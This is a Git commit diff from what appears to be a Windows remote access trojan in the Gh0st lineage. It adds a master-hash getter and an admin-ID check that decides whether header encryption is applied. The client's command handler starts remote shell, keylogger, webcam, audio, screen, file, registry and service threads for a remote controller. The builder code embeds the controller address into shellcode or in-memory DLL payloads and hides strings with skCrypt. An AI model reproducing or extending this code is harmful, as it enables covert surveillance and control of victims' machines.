layout: Add a function to get master hash
fix: Memory leak when WinOS client login
This commit is contained in:
@@ -18,18 +18,18 @@
|
|||||||
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
||||||
if (conn->protoType == PROTO_TCP)
|
if (conn->protoType == PROTO_TCP)
|
||||||
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->iHeaderEnc);
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
|
||||||
if (conn->protoType == PROTO_UDP)
|
if (conn->protoType == PROTO_UDP)
|
||||||
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||||
if (conn->protoType == PROTO_HTTP)
|
if (conn->protoType == PROTO_HTTP)
|
||||||
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->iHeaderEnc);
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
||||||
static ThreadInfo tKeyboard;
|
static ThreadInfo tKeyboard;
|
||||||
tKeyboard.run = FOREVER_RUN;
|
tKeyboard.run = FOREVER_RUN;
|
||||||
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->iHeaderEnc);
|
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
|
||||||
tKeyboard.conn = conn;
|
tKeyboard.conn = conn;
|
||||||
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||||
return &tKeyboard;
|
return &tKeyboard;
|
||||||
@@ -303,7 +303,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -342,7 +342,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -350,7 +350,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_TALK:
|
case COMMAND_TALK:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
@@ -358,21 +358,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_SHELL:
|
case COMMAND_SHELL:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -400,7 +400,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount].user = user;
|
m_hThread[m_ulThreadCount].user = user;
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
@@ -408,35 +408,35 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_LIST_DRIVE :
|
case COMMAND_LIST_DRIVE :
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WEBCAM:
|
case COMMAND_WEBCAM:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO:
|
case COMMAND_AUDIO:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT:
|
case COMMAND_REGEDIT:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES:
|
case COMMAND_SERVICES:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@
|
|||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include <assert.h>
|
#include <assert.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
@@ -179,22 +180,25 @@ inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, in
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#pragma pack(push, 4)
|
||||||
struct CONNECT_ADDRESS
|
struct CONNECT_ADDRESS
|
||||||
{
|
{
|
||||||
char szFlag[32];
|
char szFlag[32]; // 标识
|
||||||
char szServerIP[100];
|
char szServerIP[100]; // 主控IP
|
||||||
char szPort[8];
|
char szPort[8]; // 主控端口
|
||||||
int iType;
|
int iType; // 客户端类型
|
||||||
bool bEncrypt;
|
bool bEncrypt; // 上线信息是否加密
|
||||||
char szBuildDate[12];
|
char szBuildDate[12]; // 构建日期(版本)
|
||||||
int iMultiOpen;
|
int iMultiOpen; // 支持打开多个
|
||||||
int iStartup;
|
int iStartup; // 启动方式
|
||||||
int iHeaderEnc;
|
int iHeaderEnc; // 数据加密类型
|
||||||
char protoType;
|
char protoType; // 协议类型
|
||||||
char runningType;
|
char runningType; // 运行方式
|
||||||
char szReserved[60];
|
char szReserved[52]; // 占位,使结构体占据300字节
|
||||||
char pwdHash[64];
|
uint64_t superAdmin; // 管理员主控ID
|
||||||
|
char pwdHash[64]; // 密码哈希
|
||||||
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
|
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
typedef struct PluginParam {
|
typedef struct PluginParam {
|
||||||
char IP[100];
|
char IP[100];
|
||||||
|
|||||||
@@ -9,6 +9,7 @@
|
|||||||
#include <numeric>
|
#include <numeric>
|
||||||
#include <ctime>
|
#include <ctime>
|
||||||
#include <chrono>
|
#include <chrono>
|
||||||
|
#include <assert.h>
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#define WIN32_LEAN_AND_MEAN
|
#define WIN32_LEAN_AND_MEAN
|
||||||
@@ -553,23 +554,25 @@ enum ProtocolEncType {
|
|||||||
PROTOCOL_HELL = 1,
|
PROTOCOL_HELL = 1,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#pragma pack(push, 4)
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
typedef struct CONNECT_ADDRESS
|
typedef struct CONNECT_ADDRESS
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
char szFlag[32];
|
char szFlag[32]; // <20><>ʶ
|
||||||
char szServerIP[100];
|
char szServerIP[100]; // <20><><EFBFBD><EFBFBD>IP
|
||||||
char szPort[8];
|
char szPort[8]; // <20><><EFBFBD>ض˿<D8B6>
|
||||||
int iType;
|
int iType; // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
bool bEncrypt;
|
bool bEncrypt; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
char szBuildDate[12];
|
char szBuildDate[12]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(<28>汾)
|
||||||
int iMultiOpen;
|
int iMultiOpen; // ֧<>ִ<D6B4><F2BFAAB6><EFBFBD>
|
||||||
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||||
int iHeaderEnc; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
int iHeaderEnc; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
char protoType; // Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char protoType; // Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
|
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
|
||||||
char szReserved[60]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
char szReserved[52]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||||
char pwdHash[64];
|
uint64_t superAdmin; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ID
|
||||||
|
char pwdHash[64]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϣ
|
||||||
|
|
||||||
public:
|
public:
|
||||||
void SetType(int typ) {
|
void SetType(int typ) {
|
||||||
@@ -584,6 +587,15 @@ public:
|
|||||||
memcpy(copy.szFlag, flag, strlen(flag));
|
memcpy(copy.szFlag, flag, strlen(flag));
|
||||||
return copy;
|
return copy;
|
||||||
}
|
}
|
||||||
|
void SetAdminId(const char* admin) {
|
||||||
|
char buf[17] = { 0 };
|
||||||
|
std::strncpy(buf, admin, 16);
|
||||||
|
superAdmin = std::strtoull(buf, NULL, 16);
|
||||||
|
assert(superAdmin == 7057226198541618915);
|
||||||
|
}
|
||||||
|
int GetHeaderEncType() const {
|
||||||
|
return superAdmin == 7057226198541618915 ? iHeaderEnc : 0;
|
||||||
|
}
|
||||||
int FlagLen() const {
|
int FlagLen() const {
|
||||||
return strlen(szFlag);
|
return strlen(szFlag);
|
||||||
}
|
}
|
||||||
@@ -636,6 +648,7 @@ public:
|
|||||||
return sizeof(CONNECT_ADDRESS);
|
return sizeof(CONNECT_ADDRESS);
|
||||||
}
|
}
|
||||||
} CONNECT_ADDRESS ;
|
} CONNECT_ADDRESS ;
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
#define FOREVER_RUN 2
|
#define FOREVER_RUN 2
|
||||||
|
|
||||||
|
|||||||
@@ -26,6 +26,11 @@ config& GetThisCfg() {
|
|||||||
return *cfg;
|
return *cfg;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string GetMasterHash() {
|
||||||
|
static std::string hash(skCrypt(MASTER_HASH));
|
||||||
|
return hash;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ֪BUG<55><47><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹʱ<D6B9><CAB1><EFBFBD>ô˺<C3B4><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
* @brief <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ֪BUG<55><47><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹʱ<D6B9><CAB1><EFBFBD>ô˺<C3B4><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
* <20><><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>dump<6D>ļ<EFBFBD><C4BC><EFBFBD>dumpĿ¼.
|
* <20><><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>dump<6D>ļ<EFBFBD><C4BC><EFBFBD>dumpĿ¼.
|
||||||
@@ -75,7 +80,7 @@ CMy2015RemoteApp::CMy2015RemoteApp()
|
|||||||
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬
|
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> InitInstance <20><>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> InitInstance <20><>
|
||||||
m_Mutex = NULL;
|
m_Mutex = NULL;
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(GetMasterHash());
|
||||||
m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
|
m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
|
||||||
|
|
||||||
srand(static_cast<unsigned int>(time(0)));
|
srand(static_cast<unsigned int>(time(0)));
|
||||||
@@ -91,7 +96,7 @@ CMy2015RemoteApp theApp;
|
|||||||
|
|
||||||
BOOL CMy2015RemoteApp::InitInstance()
|
BOOL CMy2015RemoteApp::InitInstance()
|
||||||
{
|
{
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(GetMasterHash());
|
||||||
std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE";
|
std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE";
|
||||||
#ifndef _DEBUG
|
#ifndef _DEBUG
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -132,6 +132,8 @@ CMy2015RemoteApp* GetThisApp();
|
|||||||
|
|
||||||
config& GetThisCfg();
|
config& GetThisCfg();
|
||||||
|
|
||||||
|
std::string GetMasterHash();
|
||||||
|
|
||||||
#define THIS_APP GetThisApp()
|
#define THIS_APP GetThisApp()
|
||||||
|
|
||||||
#define THIS_CFG GetThisCfg()
|
#define THIS_CFG GetThisCfg()
|
||||||
|
|||||||
@@ -232,7 +232,7 @@ DllInfo* ReadPluginDll(const std::string& filename) {
|
|||||||
delete[] buffer;
|
delete[] buffer;
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(GetMasterHash());
|
||||||
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
|
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
|
||||||
if (offset != -1) {
|
if (offset != -1) {
|
||||||
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
||||||
@@ -447,7 +447,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
{
|
{
|
||||||
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(GetMasterHash());
|
||||||
if (GetPwdHash() != masterHash) {
|
if (GetPwdHash() != masterHash) {
|
||||||
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
||||||
}
|
}
|
||||||
@@ -725,6 +725,7 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
|
|||||||
if (!addr.empty()) {
|
if (!addr.empty()) {
|
||||||
splitIpPort(addr, ip, port);
|
splitIpPort(addr, ip, port);
|
||||||
server->SetServer(ip.c_str(), atoi(port.c_str()));
|
server->SetServer(ip.c_str(), atoi(port.c_str()));
|
||||||
|
server->SetAdminId(GetMasterHash().c_str());
|
||||||
}
|
}
|
||||||
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
||||||
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
||||||
@@ -831,7 +832,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
OnMainExit();
|
OnMainExit();
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
if (GetPwdHash() == std::string(skCrypt(MASTER_HASH))) {
|
if (GetPwdHash() == GetMasterHash()) {
|
||||||
auto pass = THIS_CFG.GetStr("settings", "superAdmin");
|
auto pass = THIS_CFG.GetStr("settings", "superAdmin");
|
||||||
if (hashSHA256(pass) == GetPwdHash()) {
|
if (hashSHA256(pass) == GetPwdHash()) {
|
||||||
m_superPass = pass;
|
m_superPass = pass;
|
||||||
@@ -883,6 +884,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
if (offset != -1) {
|
if (offset != -1) {
|
||||||
CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset);
|
CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset);
|
||||||
p->SetServer(v->Admin, v->Port);
|
p->SetServer(v->Admin, v->Port);
|
||||||
|
p->SetAdminId(GetMasterHash().c_str());
|
||||||
|
p->iType = CLIENT_TYPE_MEMDLL;
|
||||||
memcpy(p->pwdHash, GetPwdHash().c_str(), 64);
|
memcpy(p->pwdHash, GetPwdHash().c_str(), 64);
|
||||||
m_tinyDLL = MemoryLoadLibrary(data, size);
|
m_tinyDLL = MemoryLoadLibrary(data, size);
|
||||||
}
|
}
|
||||||
@@ -1068,7 +1071,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
|||||||
if (!m_superPass.empty()) {
|
if (!m_superPass.empty()) {
|
||||||
Mprintf(">>> Timer is killed <<<\n");
|
Mprintf(">>> Timer is killed <<<\n");
|
||||||
KillTimer(nIDEvent);
|
KillTimer(nIDEvent);
|
||||||
std::string masterHash = std::string(skCrypt(MASTER_HASH));
|
std::string masterHash = GetMasterHash();
|
||||||
if (GetPwdHash() == masterHash) {
|
if (GetPwdHash() == masterHash) {
|
||||||
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
|
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
|
||||||
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
|
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
|
||||||
@@ -1246,7 +1249,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
|
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (GetPwdHash() != std::string(skCrypt(MASTER_HASH))) {
|
else if (GetPwdHash() != GetMasterHash()) {
|
||||||
SubMenu->EnableMenuItem(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
SubMenu->EnableMenuItem(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||||||
SubMenu->EnableMenuItem(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
SubMenu->EnableMenuItem(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||||||
}
|
}
|
||||||
@@ -1444,7 +1447,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail) {
|
|||||||
|
|
||||||
if (!isTrail) {
|
if (!isTrail) {
|
||||||
const Validation *verify = GetValidation();
|
const Validation *verify = GetValidation();
|
||||||
std::string masterHash = skCrypt(MASTER_HASH);
|
std::string masterHash = GetMasterHash();
|
||||||
if (masterHash != GetPwdHash() && !verify->IsValid()) {
|
if (masterHash != GetPwdHash() && !verify->IsValid()) {
|
||||||
